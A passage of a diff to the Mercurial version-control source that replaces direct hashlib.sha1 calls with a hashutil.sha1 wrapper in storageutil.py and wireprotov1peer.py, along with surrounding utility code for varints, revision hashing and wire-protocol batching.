                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 
 def debugstacktrace(
     msg=b'stacktrace',
     skip=0,
     f=procutil.stderr,
     otherf=procutil.stdout,
     depth=0,
     prefix=b'',
 ):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
     for line in getstackframes(skip + 1, depth=depth):
         f.write(prefix + line)
     f.flush()
 
 
 # convenient shortcut
 dst = debugstacktrace
 
 
 def safename(f, tag, ctx, others=None):
     """
     Generate a name that it is safe to rename f to in the given context.
 
     f:      filename to rename
     tag:    a string tag that will be included in the new name
     ctx:    a context, in which the new name must not exist
     others: a set of other filenames that the new name must not be in
 
     Returns a file name of the form oldname~tag[~number] which does not exist
     in the provided context and is not in the set of other names.
     """
     if others is None:
         others = set()
 
     fn = b'%s~%s' % (f, tag)
     if fn not in ctx and fn not in others:
         return fn
     for n in itertools.count(1):
         fn = b'%s~%s~%s' % (f, tag, n)
         if fn not in ctx and fn not in others:
             return fn
 
 
 def readexactly(stream, n):
     '''read n bytes from stream.read and abort if less was available'''
     s = stream.read(n)
     if len(s) < n:
         raise error.Abort(
             _(b"stream ended unexpectedly (got %d bytes, expected %d)")
             % (len(s), n)
         )
     return s
 
 
 def uvarintencode(value):
     """Encode an unsigned integer value to a varint.
 
     A varint is a variable length integer of 1 or more bytes. Each byte
     except the last has the most significant bit set. The lower 7 bits of
     each byte store the 2's complement representation, least significant group
     first.
 
     >>> uvarintencode(0)
     '\\x00'
     >>> uvarintencode(1)
     '\\x01'
     >>> uvarintencode(127)
     '\\x7f'
     >>> uvarintencode(1337)
     '\\xb9\\n'
     >>> uvarintencode(65536)
     '\\x80\\x80\\x04'
     >>> uvarintencode(-1)
     Traceback (most recent call last):
         ...
     ProgrammingError: negative value for uvarint: -1
     """
     if value < 0:
         raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
     bits = value & 0x7F
     value >>= 7
     bytes = []
     while value:
         bytes.append(pycompat.bytechr(0x80 | bits))
         bits = value & 0x7F
         value >>= 7
     bytes.append(pycompat.bytechr(bits))
 
     return b''.join(bytes)
 
 
 def uvarintdecodestream(fh):
     """Decode an unsigned variable length integer from a stream.
 
     The passed argument is anything that has a ``.read(N)`` method.
 
     >>> try:
     ...     from StringIO import StringIO as BytesIO
     ... except ImportError:
     ...     from io import BytesIO
     >>> uvarintdecodestream(BytesIO(b'\\x00'))
     0
     >>> uvarintdecodestream(BytesIO(b'\\x01'))
     1
     >>> uvarintdecodestream(BytesIO(b'\\x7f'))
     127
     >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
     1337
     >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
     65536
     >>> uvarintdecodestream(BytesIO(b'\\x80'))
     Traceback (most recent call last):
         ...
     Abort: stream ended unexpectedly (got 0 bytes, expected 1)
     """
     result = 0
     shift = 0
     while True:
         byte = ord(readexactly(fh, 1))
         result |= (byte & 0x7F) << shift
         if not (byte & 0x80):
             return result
         shift += 7

mercurial/utils/storageutil.py

@@ -1,512 +1,512
 # storageutil.py - Storage functionality agnostic of backend implementation.
 #
 # Copyright 2018 Gregory Szorc <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
-import hashlib
 import re
 import struct
 
 from ..i18n import _
 from ..node import (
     bin,
     nullid,
     nullrev,
 )
 from .. import (
     dagop,
     error,
     mdiff,
     pycompat,
 )
 from ..interfaces import repository
+from ..utils import hashutil
 
-_nullhash = hashlib.sha1(nullid)
+_nullhash = hashutil.sha1(nullid)
 
 
 def hashrevisionsha1(text, p1, p2):
     """Compute the SHA-1 for revision data and its parents.
 
     This hash combines both the current file contents and its history
     in a manner that makes it easy to distinguish nodes with the same
     content in the revision graph.
     """
     # As of now, if one of the parent node is null, p2 is null
     if p2 == nullid:
         # deep copy of a hash is faster than creating one
         s = _nullhash.copy()
         s.update(p1)
     else:
         # none of the parent nodes are nullid
         if p1 < p2:
             a = p1
             b = p2
         else:
             a = p2
             b = p1
-        s = hashlib.sha1(a)
+        s = hashutil.sha1(a)
         s.update(b)
     s.update(text)
     return s.digest()
 
 
 METADATA_RE = re.compile(b'\x01\n')
 
 
 def parsemeta(text):
     """Parse metadata header from revision data.
 
     Returns a 2-tuple of (metadata, offset), where both can be None if there
     is no metadata.
     """
     # text can be buffer, so we can't use .startswith or .index
     if text[:2] != b'\x01\n':
         return None, None
     s = METADATA_RE.search(text, 2).start()
     mtext = text[2:s]
     meta = {}
     for l in mtext.splitlines():
         k, v = l.split(b': ', 1)
         meta[k] = v
     return meta, s + 2
 
 
 def packmeta(meta, text):
     """Add metadata to fulltext to produce revision text."""
     keys = sorted(meta)
     metatext = b''.join(b'%s: %s\n' % (k, meta[k]) for k in keys)
     return b'\x01\n%s\x01\n%s' % (metatext, text)
 
 
 def iscensoredtext(text):
     meta = parsemeta(text)[0]
     return meta and b'censored' in meta
 
 
 def filtermetadata(text):
     """Extract just the revision data from source text.
 
     Returns ``text`` unless it has a metadata header, in which case we return
     a new buffer without hte metadata.
     """
     if not text.startswith(b'\x01\n'):
         return text
 
     offset = text.index(b'\x01\n', 2)
     return text[offset + 2 :]
 
 
 def filerevisioncopied(store, node):
     """Resolve file revision copy metadata.
 
     Returns ``False`` if the file has no copy metadata. Otherwise a
     2-tuple of the source filename and node.
     """
     if store.parents(node)[0] != nullid:
         return False
 
     meta = parsemeta(store.revision(node))[0]
 
     # copy and copyrev occur in pairs. In rare cases due to old bugs,
     # one can occur without the other. So ensure both are present to flag
     # as a copy.
     if meta and b'copy' in meta and b'copyrev' in meta:
         return meta[b'copy'], bin(meta[b'copyrev'])
 
     return False
 
 
 def filedataequivalent(store, node, filedata):
     """Determines whether file data is equivalent to a stored node.
 
     Returns True if the passed file data would hash to the same value
     as a stored revision and False otherwise.
 
     When a stored revision is censored, filedata must be empty to have
     equivalence.
 
     When a stored revision has copy metadata, it is ignored as part
     of the compare.
     """
 
     if filedata.startswith(b'\x01\n'):
         revisiontext = b'\x01\n\x01\n' + filedata
     else:
         revisiontext = filedata
 
     p1, p2 = store.parents(node)
 
     computednode = hashrevisionsha1(revisiontext, p1, p2)
 
     if computednode == node:
         return True
 
     # Censored files compare against the empty file.
     if store.iscensored(store.rev(node)):
         return filedata == b''
 
     # Renaming a file produces a different hash, even if the data
     # remains unchanged. Check if that's the case.
     if store.renamed(node):
         return store.read(node) == filedata
 
     return False
 
 
 def iterrevs(storelen, start=0, stop=None):
     """Iterate over revision numbers in a store."""
     step = 1
 
     if stop is not None:
         if start > stop:
             step = -1
         stop += step
         if stop > storelen:
             stop = storelen
     else:
         stop = storelen
 
     return pycompat.xrange(start, stop, step)
 
 
 def fileidlookup(store, fileid, identifier):
     """Resolve the file node for a value.
 
     ``store`` is an object implementing the ``ifileindex`` interface.
 
     ``fileid`` can be:
 
     * A 20 byte binary node.
     * An integer revision number
     * A 40 byte hex node.
     * A bytes that can be parsed as an integer representing a revision number.
 
     ``identifier`` is used to populate ``error.LookupError`` with an identifier
     for the store.
 
     Raises ``error.LookupError`` on failure.
     """
     if isinstance(fileid, int):
         try:
             return store.node(fileid)
         except IndexError:
             raise error.LookupError(
                 b'%d' % fileid, identifier, _(b'no match found')
             )
 
     if len(fileid) == 20:
         try:
             store.rev(fileid)
             return fileid
         except error.LookupError:
             pass
 
     if len(fileid) == 40:
         try:
             rawnode = bin(fileid)
             store.rev(rawnode)
             return rawnode
         except TypeError:
             pass
 
     try:
         rev = int(fileid)
 
         if b'%d' % rev != fileid:
             raise ValueError
 
         try:
             return store.node(rev)
         except (IndexError, TypeError):
             pass
     except (ValueError, OverflowError):
         pass
 
     raise error.LookupError(fileid, identifier, _(b'no match found'))
 
 
 def resolvestripinfo(minlinkrev, tiprev, headrevs, linkrevfn, parentrevsfn):
     """Resolve information needed to strip revisions.
 
     Finds the minimum revision number that must be stripped in order to
     strip ``minlinkrev``.
 
     Returns a 2-tuple of the minimum revision number to do that and a set
     of all revision numbers that have linkrevs that would be broken
     by that strip.
 
     ``tiprev`` is the current tip-most revision. It is ``len(store) - 1``.
     ``headrevs`` is an iterable of head revisions.
     ``linkrevfn`` is a callable that receives a revision and returns a linked
     revision.
     ``parentrevsfn`` is a callable that receives a revision number and returns
     an iterable of its parent revision numbers.
     """
     brokenrevs = set()
     strippoint = tiprev + 1
 
     heads = {}
     futurelargelinkrevs = set()
     for head in headrevs:
         headlinkrev = linkrevfn(head)
         heads[head] = headlinkrev
         if headlinkrev >= minlinkrev:
             futurelargelinkrevs.add(headlinkrev)
 
     # This algorithm involves walking down the rev graph, starting at the
     # heads. Since the revs are topologically sorted according to linkrev,
     # once all head linkrevs are below the minlink, we know there are
     # no more revs that could have a linkrev greater than minlink.
     # So we can stop walking.
     while futurelargelinkrevs:
         strippoint -= 1
         linkrev = heads.pop(strippoint)
 
         if linkrev < minlinkrev:
             brokenrevs.add(strippoint)
         else:
             futurelargelinkrevs.remove(linkrev)
 
         for p in parentrevsfn(strippoint):
             if p != nullrev:
                 plinkrev = linkrevfn(p)
                 heads[p] = plinkrev
                 if plinkrev >= minlinkrev:
                     futurelargelinkrevs.add(plinkrev)
 
     return strippoint, brokenrevs
 
 
 def emitrevisions(
     store,
     nodes,
     nodesorder,
     resultcls,
     deltaparentfn=None,
     candeltafn=None,
     rawsizefn=None,
     revdifffn=None,
     flagsfn=None,
     deltamode=repository.CG_DELTAMODE_STD,
     revisiondata=False,
     assumehaveparentrevisions=False,
 ):
     """Generic implementation of ifiledata.emitrevisions().
 
     Emitting revision data is subtly complex. This function attempts to
     encapsulate all the logic for doing so in a backend-agnostic way.
 
     ``store``
        Object conforming to ``ifilestorage`` interface.
 
     ``nodes``
        List of revision nodes whose data to emit.
 
     ``resultcls``
        A type implementing the ``irevisiondelta`` interface that will be
        constructed and returned.
 
     ``deltaparentfn`` (optional)
        Callable receiving a revision number and returning the revision number
        of a revision that the internal delta is stored against. This delta
        will be preferred over computing a new arbitrary delta.
 
        If not defined, a delta will always be computed from raw revision
        data.
 
     ``candeltafn`` (optional)
        Callable receiving a pair of revision numbers that returns a bool
        indicating whether a delta between them can be produced.
 
        If not defined, it is assumed that any two revisions can delta with
        each other.
 
     ``rawsizefn`` (optional)
        Callable receiving a revision number and returning the length of the
        ``store.rawdata(rev)``.
 
        If not defined, ``len(store.rawdata(rev))`` will be called.
 
     ``revdifffn`` (optional)
        Callable receiving a pair of revision numbers that returns a delta
        between them.
 
        If not defined, a delta will be computed by invoking mdiff code
        on ``store.revision()`` results.
 
        Defining this function allows a precomputed or stored delta to be
        used without having to compute on.
 
     ``flagsfn`` (optional)
        Callable receiving a revision number and returns the integer flags
        value for it. If not defined, flags value will be 0.
 
     ``deltamode``
        constaint on delta to be sent:
        * CG_DELTAMODE_STD  - normal mode, try to reuse storage deltas,
        * CG_DELTAMODE_PREV - only delta against "prev",
        * CG_DELTAMODE_FULL - only issue full snapshot.
 
        Whether to send fulltext revisions instead of deltas, if allowed.
 
     ``nodesorder``
     ``revisiondata``
     ``assumehaveparentrevisions``
     """
 
     fnode = store.node
     frev = store.rev
 
     if nodesorder == b'nodes':
         revs = [frev(n) for n in nodes]
     elif nodesorder == b'linear':
         revs = set(frev(n) for n in nodes)
         revs = dagop.linearize(revs, store.parentrevs)
     else:  # storage and default
         revs = sorted(frev(n) for n in nodes)
 
     prevrev = None
 
     if deltamode == repository.CG_DELTAMODE_PREV or assumehaveparentrevisions:
         prevrev = store.parentrevs(revs[0])[0]
 
     # Set of revs available to delta against.
     available = set()
 
     for rev in revs:
         if rev == nullrev:
             continue
 
         node = fnode(rev)
         p1rev, p2rev = store.parentrevs(rev)
 
         if deltaparentfn:
             deltaparentrev = deltaparentfn(rev)
         else:
             deltaparentrev = nullrev
 
         # Forced delta against previous mode.
         if deltamode == repository.CG_DELTAMODE_PREV:
             baserev = prevrev
 
         # We're instructed to send fulltext. Honor that.
         elif deltamode == repository.CG_DELTAMODE_FULL:
             baserev = nullrev
         # We're instructed to use p1. Honor that
         elif deltamode == repository.CG_DELTAMODE_P1:
             baserev = p1rev
 
         # There is a delta in storage. We try to use that because it
         # amounts to effectively copying data from storage and is
         # therefore the fastest.
         elif deltaparentrev != nullrev:
             # Base revision was already emitted in this group. We can
             # always safely use the delta.
             if deltaparentrev in available:
                 baserev = deltaparentrev
 
             # Base revision is a parent that hasn't been emitted already.
             # Use it if we can assume the receiver has the parent revision.
             elif assumehaveparentrevisions and deltaparentrev in (p1rev, p2rev):
                 baserev = deltaparentrev
 
             # No guarantee the receiver has the delta parent. Send delta
             # against last revision (if possible), which in the common case
             # should be similar enough to this revision that the delta is
             # reasonable.
             elif prevrev is not None:
                 baserev = prevrev
             else:
                 baserev = nullrev
 
         # Storage has a fulltext revision.
 
         # Let's use the previous revision, which is as good a guess as any.
         # There is definitely room to improve this logic.
         elif prevrev is not None:
             baserev = prevrev
         else:
             baserev = nullrev
 
         # But we can't actually use our chosen delta base for whatever
         # reason. Reset to fulltext.
         if baserev != nullrev and (candeltafn and not candeltafn(baserev, rev)):
             baserev = nullrev
 
         revision = None
         delta = None
         baserevisionsize = None
 
         if revisiondata:
             if store.iscensored(baserev) or store.iscensored(rev):
                 try:
                     revision = store.rawdata(node)
                 except error.CensoredNodeError as e:
                     revision = e.tombstone
 
                 if baserev != nullrev:
                     if rawsizefn:
                         baserevisionsize = rawsizefn(baserev)
                     else:
                         baserevisionsize = len(store.rawdata(baserev))
 
             elif (
                 baserev == nullrev and deltamode != repository.CG_DELTAMODE_PREV
             ):
                 revision = store.rawdata(node)
                 available.add(rev)
             else:
                 if revdifffn:
                     delta = revdifffn(baserev, rev)
                 else:
                     delta = mdiff.textdiff(
                         store.rawdata(baserev), store.rawdata(rev)
                     )
 
                 available.add(rev)
 
         yield resultcls(
             node=node,
             p1node=fnode(p1rev),
             p2node=fnode(p2rev),
             basenode=fnode(baserev),
             flags=flagsfn(rev) if flagsfn else 0,
             baserevisionsize=baserevisionsize,
             revision=revision,
             delta=delta,
         )
 
         prevrev = rev
 
 
 def deltaiscensored(delta, baserev, baselenfn):
     """Determine if a delta represents censored revision data.
 
     ``baserev`` is the base revision this delta is encoded against.
     ``baselenfn`` is a callable receiving a revision number that resolves the
     length of the revision fulltext.
 
     Returns a bool indicating if the result of the delta represents a censored
     revision.
     """
     # Fragile heuristic: unless new file meta keys are added alphabetically
     # preceding "censored", all censored revisions are prefixed by
     # "\1\ncensored:". A delta producing such a censored revision must be a
     # full-replacement delta, so we inspect the first and only patch in the
     # delta for this prefix.
     hlen = struct.calcsize(b">lll")
     if len(delta) <= hlen:
         return False
 
     oldlen = baselenfn(baserev)
     newlen = len(delta) - hlen
     if delta[:hlen] != mdiff.replacediffheader(oldlen, newlen):
         return False
 
     add = b"\1\ncensored:"
     addlen = len(add)
     return newlen >= addlen and delta[hlen : hlen + addlen] == add

mercurial/wireprotov1peer.py

@@ -1,660 +1,660
 # wireprotov1peer.py - Client-side functionality for wire protocol version 1.
 #
 # Copyright 2005-2010 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
-import hashlib
 import sys
 import weakref
 
 from .i18n import _
 from .node import bin
 from .pycompat import (
     getattr,
     setattr,
 )
 from . import (
     bundle2,
     changegroup as changegroupmod,
     encoding,
     error,
     pushkey as pushkeymod,
     pycompat,
     util,
     wireprototypes,
 )
 from .interfaces import (
     repository,
     util as interfaceutil,
 )
+from .utils import hashutil
 
 urlreq = util.urlreq
 
 
 def batchable(f):
     '''annotation for batchable methods
 
     Such methods must implement a coroutine as follows:
 
     @batchable
     def sample(self, one, two=None):
         # Build list of encoded arguments suitable for your wire protocol:
         encargs = [('one', encode(one),), ('two', encode(two),)]
         # Create future for injection of encoded result:
         encresref = future()
         # Return encoded arguments and future:
         yield encargs, encresref
         # Assuming the future to be filled with the result from the batched
         # request now. Decode it:
         yield decode(encresref.value)
 
     The decorator returns a function which wraps this coroutine as a plain
     method, but adds the original method as an attribute called "batchable",
     which is used by remotebatch to split the call into separate encoding and
     decoding phases.
     '''
 
     def plain(*args, **opts):
         batchable = f(*args, **opts)
         encargsorres, encresref = next(batchable)
         if not encresref:
             return encargsorres  # a local result in this case
         self = args[0]
         cmd = pycompat.bytesurl(f.__name__)  # ensure cmd is ascii bytestr
         encresref.set(self._submitone(cmd, encargsorres))
         return next(batchable)
 
     setattr(plain, 'batchable', f)
     setattr(plain, '__name__', f.__name__)
     return plain
 
 
 class future(object):
     '''placeholder for a value to be set later'''
 
     def set(self, value):
         if util.safehasattr(self, b'value'):
             raise error.RepoError(b"future is already set")
         self.value = value
 
 
 def encodebatchcmds(req):
     """Return a ``cmds`` argument value for the ``batch`` command."""
     escapearg = wireprototypes.escapebatcharg
 
     cmds = []
     for op, argsdict in req:
         # Old servers didn't properly unescape argument names. So prevent
         # the sending of argument names that may not be decoded properly by
         # servers.
         assert all(escapearg(k) == k for k in argsdict)
 
         args = b','.join(
             b'%s=%s' % (escapearg(k), escapearg(v))
             for k, v in pycompat.iteritems(argsdict)
         )
         cmds.append(b'%s %s' % (op, args))
 
     return b';'.join(cmds)
 
 
 class unsentfuture(pycompat.futures.Future):
     """A Future variation to represent an unsent command.
 
     Because we buffer commands and don't submit them immediately, calling
     ``result()`` on an unsent future could deadlock. Futures for buffered
     commands are represented by this type, which wraps ``result()`` to
     call ``sendcommands()``.
     """
 
     def result(self, timeout=None):
         if self.done():
             return pycompat.futures.Future.result(self, timeout)
 
         self._peerexecutor.sendcommands()
 
         # This looks like it will infinitely recurse. However,
         # sendcommands() should modify __class__. This call serves as a check
         # on that.
         return self.result(timeout)
 
 
 @interfaceutil.implementer(repository.ipeercommandexecutor)
 class peerexecutor(object):
     def __init__(self, peer):
         self._peer = peer
         self._sent = False
         self._closed = False
         self._calls = []
         self._futures = weakref.WeakSet()
         self._responseexecutor = None
         self._responsef = None
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalee, exctb):
         self.close()
 
     def callcommand(self, command, args):
         if self._sent:
             raise error.ProgrammingError(
                 b'callcommand() cannot be used after commands are sent'
             )
 
         if self._closed:
             raise error.ProgrammingError(
                 b'callcommand() cannot be used after close()'
             )
 
         # Commands are dispatched through methods on the peer.
         fn = getattr(self._peer, pycompat.sysstr(command), None)
 
         if not fn:
             raise error.ProgrammingError(
                 b'cannot call command %s: method of same name not available '
                 b'on peer' % command
             )
 
         # Commands are either batchable or they aren't. If a command
         # isn't batchable, we send it immediately because the executor
         # can no longer accept new commands after a non-batchable command.
         # If a command is batchable, we queue it for later. But we have
         # to account for the case of a non-batchable command arriving after
         # a batchable one and refuse to service it.
 
         def addcall():
             f = pycompat.futures.Future()
             self._futures.add(f)
             self._calls.append((command, args, fn, f))
             return f
 
         if getattr(fn, 'batchable', False):
             f = addcall()
 
             # But since we don't issue it immediately, we wrap its result()
             # to trigger sending so we avoid deadlocks.
             f.__class__ = unsentfuture
             f._peerexecutor = self
         else:
             if self._calls:
                 raise error.ProgrammingError(
                     b'%s is not batchable and cannot be called on a command '
                     b'executor along with other commands' % command
                 )
 
             f = addcall()
 
             # Non-batchable commands can never coexist with another command
             # in this executor. So send the command immediately.
             self.sendcommands()
 
         return f
 
     def sendcommands(self):
         if self._sent:
             return
 
         if not self._calls:
             return
 
         self._sent = True
 
         # Unhack any future types so caller seens a clean type and to break
         # cycle between us and futures.
         for f in self._futures:
             if isinstance(f, unsentfuture):
                 f.__class__ = pycompat.futures.Future
                 f._peerexecutor = None
 
         calls = self._calls
         # Mainly to destroy references to futures.
         self._calls = None
 
         # Simple case of a single command. We call it synchronously.
         if len(calls) == 1:
             command, args, fn, f = calls[0]
 
             # Future was cancelled. Ignore it.
             if not f.set_running_or_notify_cancel():
                 return
 
             try:
                 result = fn(**pycompat.strkwargs(args))
             except Exception:
                 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
             else:
                 f.set_result(result)
 
             return
 
         # Batch commands are a bit harder. First, we have to deal with the
         # @batchable coroutine. That's a bit annoying. Furthermore, we also
         # need to preserve streaming. i.e. it should be possible for the
         # futures to resolve as data is coming in off the wire without having
         # to wait for the final byte of the final response. We do this by
         # spinning up a thread to read the responses.
 
         requests = []
         states = []
 
         for command, args, fn, f in calls:
             # Future was cancelled. Ignore it.
             if not f.set_running_or_notify_cancel():
                 continue
 
             try:
                 batchable = fn.batchable(
                     fn.__self__, **pycompat.strkwargs(args)
                 )
             except Exception:
                 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
                 return
 
             # Encoded arguments and future holding remote result.
             try:
                 encargsorres, fremote = next(batchable)
             except Exception:
                 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
                 return
 
             if not fremote:
                 f.set_result(encargsorres)
             else:
                 requests.append((command, encargsorres))
                 states.append((command, f, batchable, fremote))
 
         if not requests:
             return
 
         # This will emit responses in order they were executed.
         wireresults = self._peer._submitbatch(requests)
 
         # The use of a thread pool executor here is a bit weird for something
         # that only spins up a single thread. However, thread management is
         # hard and it is easy to encounter race conditions, deadlocks, etc.
         # concurrent.futures already solves these problems and its thread pool
         # executor has minimal overhead. So we use it.
         self._responseexecutor = pycompat.futures.ThreadPoolExecutor(1)
         self._responsef = self._responseexecutor.submit(
             self._readbatchresponse, states, wireresults
         )
 
     def close(self):
         self.sendcommands()
 
         if self._closed:
             return
 
         self._closed = True
 
         if not self._responsef:
             return
 
         # We need to wait on our in-flight response and then shut down the
         # executor once we have a result.
         try:
             self._responsef.result()
         finally:
             self._responseexecutor.shutdown(wait=True)
             self._responsef = None
             self._responseexecutor = None
 
             # If any of our futures are still in progress, mark them as
             # errored. Otherwise a result() could wait indefinitely.
             for f in self._futures:
                 if not f.done():
                     f.set_exception(
                         error.ResponseError(
                             _(b'unfulfilled batch command response')
                         )
                     )
 
             self._futures = None
 
     def _readbatchresponse(self, states, wireresults):
         # Executes in a thread to read data off the wire.
 
         for command, f, batchable, fremote in states:
             # Grab raw result off the wire and teach the internal future
             # about it.
             remoteresult = next(wireresults)
             fremote.set(remoteresult)
 
             # And ask the coroutine to decode that value.
             try:
                 result = next(batchable)
             except Exception:
                 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
             else:
                 f.set_result(result)
 
 
 @interfaceutil.implementer(
     repository.ipeercommands, repository.ipeerlegacycommands
 )
 class wirepeer(repository.peer):
     """Client-side interface for communicating with a peer repository.
 
     Methods commonly call wire protocol commands of the same name.
 
     See also httppeer.py and sshpeer.py for protocol-specific
     implementations of this interface.
     """
 
     def commandexecutor(self):
         return peerexecutor(self)
 
     # Begin of ipeercommands interface.
 
     def clonebundles(self):
         self.requirecap(b'clonebundles', _(b'clone bundles'))
         return self._call(b'clonebundles')
 
     @batchable
     def lookup(self, key):
         self.requirecap(b'lookup', _(b'look up remote revision'))
         f = future()
         yield {b'key': encoding.fromlocal(key)}, f
         d = f.value
         success, data = d[:-1].split(b" ", 1)
         if int(success):
             yield bin(data)
         else:
             self._abort(error.RepoError(data))
 
     @batchable
     def heads(self):
         f = future()
         yield {}, f
         d = f.value
         try:
             yield wireprototypes.decodelist(d[:-1])
         except ValueError:
             self._abort(error.ResponseError(_(b"unexpected response:"), d))
 
     @batchable
     def known(self, nodes):
         f = future()
         yield {b'nodes': wireprototypes.encodelist(nodes)}, f
         d = f.value
         try:
             yield [bool(int(b)) for b in pycompat.iterbytestr(d)]
         except ValueError:
             self._abort(error.ResponseError(_(b"unexpected response:"), d))
 
     @batchable
     def branchmap(self):
         f = future()
         yield {}, f
         d = f.value
         try:
             branchmap = {}
             for branchpart in d.splitlines():
                 branchname, branchheads = branchpart.split(b' ', 1)
                 branchname = encoding.tolocal(urlreq.unquote(branchname))
                 branchheads = wireprototypes.decodelist(branchheads)
                 branchmap[branchname] = branchheads
             yield branchmap
         except TypeError:
             self._abort(error.ResponseError(_(b"unexpected response:"), d))
 
     @batchable
     def listkeys(self, namespace):
         if not self.capable(b'pushkey'):
             yield {}, None
         f = future()
         self.ui.debug(b'preparing listkeys for "%s"\n' % namespace)
         yield {b'namespace': encoding.fromlocal(namespace)}, f
         d = f.value
         self.ui.debug(
             b'received listkey for "%s": %i bytes\n' % (namespace, len(d))
         )
         yield pushkeymod.decodekeys(d)
 
     @batchable
     def pushkey(self, namespace, key, old, new):
         if not self.capable(b'pushkey'):
             yield False, None
         f = future()
         self.ui.debug(b'preparing pushkey for "%s:%s"\n' % (namespace, key))
         yield {
             b'namespace': encoding.fromlocal(namespace),
             b'key': encoding.fromlocal(key),
             b'old': encoding.fromlocal(old),
             b'new': encoding.fromlocal(new),
         }, f
         d = f.value
         d, output = d.split(b'\n', 1)
         try:
             d = bool(int(d))
         except ValueError:
             raise error.ResponseError(
                 _(b'push failed (unexpected response):'), d
             )
         for l in output.splitlines(True):
             self.ui.status(_(b'remote: '), l)
         yield d
 
     def stream_out(self):
         return self._callstream(b'stream_out')
 
     def getbundle(self, source, **kwargs):
         kwargs = pycompat.byteskwargs(kwargs)
         self.requirecap(b'getbundle', _(b'look up remote changes'))
         opts = {}
         bundlecaps = kwargs.get(b'bundlecaps') or set()
         for key, value in pycompat.iteritems(kwargs):
             if value is None:
                 continue
             keytype = wireprototypes.GETBUNDLE_ARGUMENTS.get(key)
             if keytype is None:
                 raise error.ProgrammingError(
                     b'Unexpectedly None keytype for key %s' % key
                 )
             elif keytype == b'nodes':
                 value = wireprototypes.encodelist(value)
             elif keytype == b'csv':
                 value = b','.join(value)
             elif keytype == b'scsv':
                 value = b','.join(sorted(value))
             elif keytype == b'boolean':
                 value = b'%i' % bool(value)
             elif keytype != b'plain':
                 raise KeyError(b'unknown getbundle option type %s' % keytype)
             opts[key] = value
         f = self._callcompressable(b"getbundle", **pycompat.strkwargs(opts))
         if any((cap.startswith(b'HG2') for cap in bundlecaps)):
             return bundle2.getunbundler(self.ui, f)
         else:
             return changegroupmod.cg1unpacker(f, b'UN')
 
     def unbundle(self, bundle, heads, url):
         '''Send cg (a readable file-like object representing the
         changegroup to push, typically a chunkbuffer object) to the
         remote server as a bundle.
 
         When pushing a bundle10 stream, return an integer indicating the
         result of the push (see changegroup.apply()).
 
         When pushing a bundle20 stream, return a bundle20 stream.
 
         `url` is the url the client thinks it's pushing to, which is
         visible to hooks.
         '''
 
         if heads != [b'force'] and self.capable(b'unbundlehash'):
             heads = wireprototypes.encodelist(
-                [b'hashed', hashlib.sha1(b''.join(sorted(heads))).digest()]
+                [b'hashed', hashutil.sha1(b''.join(sorted(heads))).digest()]
             )
         else:
             heads = wireprototypes.encodelist(heads)
 
         if util.safehasattr(bundle, b'deltaheader'):
             # this a bundle10, do the old style call sequence
             ret, output = self._callpush(b"unbundle", bundle, heads=heads)
             if ret == b"":
                 raise error.ResponseError(_(b'push failed:'), output)
             try:
                 ret = int(ret)
             except ValueError:
                 raise error.ResponseError(
                     _(b'push failed (unexpected response):'), ret
                 )
 
             for l in output.splitlines(True):
                 self.ui.status(_(b'remote: '), l)
         else:
             # bundle2 push. Send a stream, fetch a stream.
             stream = self._calltwowaystream(b'unbundle', bundle, heads=heads)
             ret = bundle2.getunbundler(self.ui, stream)
         return ret
 
     # End of ipeercommands interface.
 
     # Begin of ipeerlegacycommands interface.
 
     def branches(self, nodes):
         n = wireprototypes.encodelist(nodes)
         d = self._call(b"branches", nodes=n)
         try:
             br = [tuple(wireprototypes.decodelist(b)) for b in d.splitlines()]
             return br
         except ValueError:
             self._abort(error.ResponseError(_(b"unexpected response:"), d))
 
     def between(self, pairs):
         batch = 8  # avoid giant requests
         r = []
         for i in pycompat.xrange(0, len(pairs), batch):
             n = b" ".join(
                 [
                     wireprototypes.encodelist(p, b'-')
                     for p in pairs[i : i + batch]
                 ]
             )
             d = self._call(b"between", pairs=n)
             try:
                 r.extend(
                     l and wireprototypes.decodelist(l) or []
                     for l in d.splitlines()
                 )
             except ValueError:
                 self._abort(error.ResponseError(_(b"unexpected response:"), d))
         return r
 
     def changegroup(self, nodes, source):
         n = wireprototypes.encodelist(nodes)
         f = self._callcompressable(b"changegroup", roots=n)
         return changegroupmod.cg1unpacker(f, b'UN')
 
     def changegroupsubset(self, bases, heads, source):
         self.requirecap(b'changegroupsubset', _(b'look up remote changes'))
         bases = wireprototypes.encodelist(bases)
         heads = wireprototypes.encodelist(heads)
         f = self._callcompressable(
             b"changegroupsubset", bases=bases, heads=heads
         )
         return changegroupmod.cg1unpacker(f, b'UN')
 
     # End of ipeerlegacycommands interface.
 
     def _submitbatch(self, req):
         """run batch request <req> on the server
 
         Returns an iterator of the raw responses from the server.
         """
         ui = self.ui
         if ui.debugflag and ui.configbool(b'devel', b'debug.peer-request'):
             ui.debug(b'devel-peer-request: batched-content\n')
             for op, args in req:
                 msg = b'devel-peer-request:    - %s (%d arguments)\n'
                 ui.debug(msg % (op, len(args)))
 
         unescapearg = wireprototypes.unescapebatcharg
 
         rsp = self._callstream(b"batch", cmds=encodebatchcmds(req))
         chunk = rsp.read(1024)
         work = [chunk]
         while chunk:
             while b';' not in chunk and chunk:
                 chunk = rsp.read(1024)
                 work.append(chunk)
             merged = b''.join(work)
             while b';' in merged:
                 one, merged = merged.split(b';', 1)
                 yield unescapearg(one)
             chunk = rsp.read(1024)
             work = [merged, chunk]
         yield unescapearg(b''.join(work))
 
     def _submitone(self, op, args):
         return self._call(op, **pycompat.strkwargs(args))
 
